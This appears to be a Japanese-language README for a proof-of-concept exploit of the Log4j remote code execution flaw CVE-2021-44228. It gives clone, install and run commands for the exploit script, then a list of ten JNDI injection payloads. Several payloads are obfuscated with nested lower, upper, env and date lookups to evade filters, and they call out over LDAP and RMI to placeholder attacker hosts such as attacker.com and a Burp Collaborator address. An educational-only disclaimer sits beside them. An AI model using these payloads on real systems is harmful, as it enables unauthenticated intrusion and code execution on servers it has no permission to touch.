CVE-2021-44228 – Log4j RCE（未認証）

概要

これは、Log4j RCE（未認証）（CVE-2021-44228）の概念実証エクスプロイトです。

この脆弱性はバージョン 2.15.0 未満に影響します。

詳細情報:

https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j

貢献者

@pedrohavay

免責事項

このプロジェクトは教育目的のみで作成されており、法律違反や個人的な利益のために使用することはできません。

このプロジェクトの作成者は、このプロジェクトの素材によって引き起こされる可能性のあるいかなる損害についても責任を負いません。

デモ

インストール

git clone https://github.com/pedrohavay/exploit-CVE-2021-44228
cd exploit-CVE-2021-44228
pip install -r requirements.txt

使用方法

1. スクリプトを使用します

    python3 main.py
   

ペイロード

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://localhost:12345/Exploit}

必要条件

• Python 3
• Java（JDK）